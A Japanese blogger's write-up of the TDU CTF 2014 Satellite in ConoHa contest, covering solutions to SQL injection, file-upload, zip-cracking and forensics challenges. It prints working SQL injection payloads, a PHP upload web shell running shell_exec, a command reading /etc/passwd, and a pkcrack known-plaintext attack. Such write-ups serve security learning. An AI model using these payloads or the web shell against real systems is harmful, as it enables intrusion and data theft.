TDU CTF 2014 Satellite in ConoHa ― Write-up
TDU CTF 2014 Satellite in ConoHaに参加した。結果は1000点くらい(覚えていない)で15位くらい(覚えていない)だった。上位の人達を見てみると、GEKI-YABAな人たちが名を連ねていた。
Write-up
EasySQLi Challenge
SQLインジェクションの問題。Webサイトの入力フォームに"(ダブルクオート)などを入力するとSQLエラーが表示され、SQLiが可能であることがわかる。"or "1"="1
を入力するとテーブルの情報がすべて表示されるが、フラグはない。フラグは別のテーブルにあると思い、" OR 1=1 UNION SELECT sql, 1 FROM sqlite_master;--
を入力してスキーマ情報を抜き取る。
CREATE TABLE "ok_flag_is_here"(title varchar(48), body varchar(256)) CREATE TABLE flagTable(title varchar(48), body varchar(256)) CREATE TABLE questionTable(title varchar(48), body varchar(256))
"ok_flag_is_here"とflagTableというテーブルがあるので、" OR 1=1 UNION SELECT title, body FROM "ok_flag_is_here";--
と" OR 1=1 UNION SELECT title, body FROM flagTable;--
でフラグが2つ得られた。
テーブルの中にURLがあり、そこに移動するとステージ2のページが現れる。こちらはMySQLであることがわかったので、" or "1"="1";#
で3つ目のフラグが得られた。ただフラグの文字列は白塗りされており見つけくくなっていた。一応" UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES) ;#
でスキーマ情報を抜くことはできたがこの先にフラグはあったのだろうか。
Simple Uploder
ウェブサイトからサーバへ任意のファイルがアップロードできるようになっている。phpファイルをアップロードすれば実行してくれるのかなーと思い、HelloWorldなプログラムを送ったらやはり実行された。つまりは任意のコードのが実行できるということなので、以下のようにls -l
をするプログラムを送る。
<?php $command = 'ls -l'; $output = shell_exec("{$command} 2>&1"); print_r ($output); ?>
すると、参加者がアップロードしたファイルの中に一つだけ更新日時の古いPNGファイルを見つけたので、これを表示させる。
<?php $image_path = './dc3db649f63cc360174b2ea7e470ee40.png'; header('Content-Type: image/jpeg'); readfile($image_path); ?>
これで1つ目のフラグをゲット。さらに先ほどのプログラムを使ってcat /etc/passwd
を実行したところ、passwdファイルの中に2つ目のフラグがあった。
SUPER ULTIMATE COOL SECURE NOTING SYSTEM
adminのログイン画面でuserに"or "1"="1
を入力するとログインができ、1つ目のフラグが得られる。2つ目のフラグはadminのパスワードとの事だったので、ブラインドSQLiかなと思ったところで断念。後で聞いた話によるとSearchのところからSQLiでパスワードが得られたらしい。
Developer! Developer! Developer!
暗号化されたzipファイル(question.zip)が渡される。中にはflag.txt(1KB)とSteve_ballmer_2007_outdoors2.jpg(295KB)があることがわかったので、Steve_ballmer_2007_outdoors2.jpgが手に入れば既知平文攻撃ができるなと思った。ファイル名でググったらすぐ出てきたのでここからダウンロードする。既知平文攻撃にはpkcrackをつかう。pkcrackは32bit WindowsとLinuxで動作するが、なぜかWindowsでは解凍できなかった。Linux上で以下のコマンドでフラグを得た。
$ pkcrack -C question.zip -c Steve_ballmer_2007_outdoors2.jpg -p Steve_ballmer_2007_outdoors2.jpg -d target.zip $ unzip target.zip $ cat flag.txt
読めない文字1
BASE64な文字が渡された。文字を2回デコードしたところフラグが得られた。
unknown file
3B14EA88FCDB58239928D829DD5182E23D866255というASCII textのファイルが渡される。Trip Pictureと同様stringsとgrepでフラグを見つけた。
柚子胡椒 Vol.1
bluetooth.pcapというpcapファイルが渡される。bluetoothのパケットうわぁ…とおもったがstringsとgrepでフラグが得られたので結局中身を見ていない。
Evidence
RawImageというイメージファイルが渡される。FTK Imagerでマウントして中身を見ると、"!oc.pdf"というPDFファイルを見つけたのでこれをエクスポートして開いたらフラグが得られた。
misc
覚えてません ;)
所感
初心者向け(?)のCTFなだけあって、たくさん問題が解けて楽しかった。確実に解かなければならない問題をしっかり解けたのは良かった。ただ得意なはずのNetwork問題で見たことがないパケットが出てきて解けなかったのは辛かった。いつものことながらbinary系の問題を敬遠してしまったので、後でしっかり解こうと思う。
運営の皆様、ありがとうございました!